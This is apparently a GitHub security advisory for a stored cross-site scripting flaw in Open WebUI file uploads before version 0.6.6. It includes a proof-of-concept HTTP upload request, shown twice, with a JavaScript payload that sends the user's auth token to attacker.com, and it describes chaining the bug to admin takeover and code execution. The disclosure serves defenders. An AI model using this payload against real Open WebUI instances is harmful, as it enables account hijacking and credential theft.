GHSA-8gh5-qqh8-hq3x Open WebUI allows limited stored XSS vila uploaded html file

• PyPI open-webui: < 0.6.6 → fixed in 0.6.6

Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. Details The following HTTP request can be sent to the backend server to upload a file with the contents: `fetch("https://attacker.com/?token=" + localStorage.getItem("token"))` ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html padding fetch("https://attacker.com/?token=" + localStorage.getItem("token")) ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Note the `filename="test.html"` , `Content-Type: text/html`, and `padding in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `` tag. The backend server responds to the above request with JSON data that contains an `id` parameter. This ID can be used to view the uploaded file in the browser at `/api/v1/files//content/html` Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability. PoC First, upload an html containing JavaScript code to the backend server using the following HTTP request: ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html padding fetch("https://attacker.com/?token=" + localStorage.getItem("token")) ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Then copy the `id` from the response and use it to view the file in the browser at `/api/v1/files//content/html` Impact Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766